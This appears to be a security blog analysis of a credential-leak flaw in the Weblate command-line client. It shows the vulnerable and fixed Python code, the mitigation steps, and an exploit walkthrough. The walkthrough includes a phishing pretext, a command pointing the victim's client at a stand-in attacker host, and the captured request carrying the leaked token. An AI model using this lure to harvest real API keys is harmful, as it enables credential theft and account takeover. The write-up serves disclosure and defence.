The Key to the Kingdom: Unscoped Credential Leakage in Weblate wlc
Jan 12, 2026·6 min read
Executive Summary (TL;DR)
For years, the Weblate CLI tool allowed users to define a 'global' API key in their config file. While convenient, this was a security disaster waiting to happen. If a user ran a command against a malicious Weblate instance (or was tricked into doing so), the client would happily send this global key in the Authorization header. Version 1.17.0 kills this behavior by forcing URL-scoped keys.
A logic flaw in the Weblate command-line client (wlc) configuration parser allowed global API keys to be transmitted to arbitrary, potentially malicious servers.
The Hook: Convenience vs. Security
We have all been there. You are setting up a CLI tool, and the configuration file asks for an API URL and a Key. Being the efficient (read: lazy) developer you are, you toss them into the top-level section of the config file. It works, the tool connects, and you move on with your life.
In the context of wlc, the command-line interface for the Weblate translation platform, this specific brand of laziness was not just supported—it was standard practice for a long time. The configuration file (typically ~/.config/wlc/weblate.ini or similar) allowed users to define a [weblate] block containing both the target URL and the authentication key.
The problem? That key was treated as a "fallback" or global credential. It wasn't bound to the specific URL you defined next to it. It was a skeleton key hanging around in memory, waiting to be used whenever the client didn't have a better idea. And as we know in security, when software assumes it should be helpful, it usually ends up being helpful to the wrong people.
The Flaw: A Promiscuous Fallback
The vulnerability (CVE-2026-22251) resides in how wlc resolved credentials before making HTTP requests. The logic was intended to be user-friendly: check if there is a specific key for the target URL; if not, check if there is a global key available.
This is a classic scoping error. In a secure design, credentials should be strictly bound to the origin they are intended for (much like browser cookies or CORS policies). However, wlc's configuration parser in wlc/config.py took a more relaxed approach.
When a user executed a command pointing to a new URL—say, a specific project server provided by a third party—the client would check its internal map for a key specific to that URL. Finding none, it would fall back to the key defined in the main [weblate] section. Consequently, the client would construct an HTTP request to the untrusted URL and inject the user's sensitive, high-privilege API key into the Authorization header.
[!NOTE] This is analogous to handing your house keys to a stranger just because they asked for "a key" and you didn't have a specific key labeled "Stranger's House" on your keychain.
The Code: The Smoking Gun
Let's look at the Python code responsible for this behavior. The issue lay in the get_url_key method. In versions prior to 1.17.0, the logic was dangerously permissive.
Here is a simplified view of the vulnerable logic:
# Vulnerable implementation
def get_url_key(self):
# Get the URL from CLI args or config
url = self.cli_url or self.config.get("weblate", "url")
# DANGER: Fallback to global 'key' if specific url key is missing
key = self.cli_key or self.config.get("keys", url, fallback=self.config.get("weblate", "key"))
return url, keyThe fix, implemented in commit aafdb507a9e66574ade1f68c50c4fe75dbe80797, completely removes the fallback mechanism. The developers realized that implicit trust is bad trust. The new implementation enforces strict scoping:
# Fixed implementation (v1.17.0)
def get_url_key(self) -> tuple[str, str]:
url = self.cli_url or cast("str", self.get(self.section, "url"))
# SECURE: No fallback to global section.
# The key MUST exist in the [keys] section matched to the URL.
key = self.cli_key or cast("str", self.get("keys", url, fallback=""))
return url, keyBy removing the fallback to the general section, the application now fails safe (or fails closed). If a key isn't explicitly defined for https://evil-weblate.com, the client sends no key at all, or fails to authenticate, rather than leaking the global secret.
The Exploit: Phishing for Tokens
Exploiting this vulnerability does not require buffer overflows or heap feng shui. It requires social engineering and a basic understanding of how the CLI works. An attacker needs to convince a victim—likely a developer or translator with a configured wlc environment—to interact with a malicious server.
The Setup:
- The attacker sets up a rogue Weblate instance (or a simple HTTP listener like
netcator Python'shttp.server) athttps://attacker.com/api/. - The attacker sends a request to the victim: "Hey, can you check the translation status on our new mirror? Just run this command:"
wlc --url https://attacker.com/api/ lsThe Execution:
When the victim runs this command, wlc parses the arguments. It sees the custom URL. It checks ~/.config/wlc/weblate.ini. It does not find a specific key for attacker.com.
However, it does find the global key the victim uses for their corporate production server. It grabs that key and sends:
GET /api/projects/ HTTP/1.1
Host: attacker.com
Authorization: Token wlb-p_YOUR_SECRET_PRODUCTION_KEY
User-Agent: wlc/1.16.0The Loot:
The attacker captures the header, takes the token, and pivots to the victim's legitimate production instance (https://weblate.company.com). Depending on the token's scope, they now have read/write access to translations, or worse, administrative control.
The Impact: Why This Matters
While the CVSS score is a moderate 5.3 (due to the requirement for user interaction), the real-world impact is significant. API keys for translation platforms often hold surprisingly high privileges.
- Intellectual Property Theft: Translation strings often contain pre-release feature names, marketing copy, or sensitive internal terminology.
- Supply Chain Risk: An attacker with write access could modify translations to inject malicious links or misleading text into the final product. Imagine a banking app where the "Confirm Transfer" button is translated to "Cancel" in a specific language, or a URL in a help text points to a phishing site.
- Lateral Movement: Users frequently reuse API keys or generate "super-admin" keys for CLI tools to avoid permission errors. A leaked key often means full account takeover.
This vulnerability highlights the danger of "convenience features" in developer tools. Implicit behavior is the enemy of security.
The Mitigation: Breaking Habits
The primary fix is to upgrade wlc to version 1.17.0 or later. This version physically removes the code capability to read global keys. However, this upgrade comes with a breaking change for users relying on the insecure configuration.
Step 1: Upgrade
pip install --upgrade wlcStep 2: Reconfigure
You must migrate your configuration file. If your weblate.ini looks like this, it is broken in 1.17.0 (and insecure in older versions):
[weblate]
url = https://api.example.com
key = SECRET_KEY <-- DELETE THISChange it to the scoped format:
[weblate]
url = https://api.example.com
[keys]
https://api.example.com = SECRET_KEYFor security teams, you can hunt for this vulnerability by scanning developer workstations for weblate.ini files that contain a key = entry inside the [weblate] block. If you find one, the user is vulnerable.
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
wlc WeblateOrg | < 1.17.0 | 1.17.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-200 |
| CVSS v3.1 | 5.3 |
| Attack Vector | Local (User Interaction Required) |
| Impact | Credential Leakage |
| Language | Python |
| Component | wlc/config.py |
MITRE ATT&CK Mapping
Exposure of Sensitive Information to an Unauthorized Actor
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.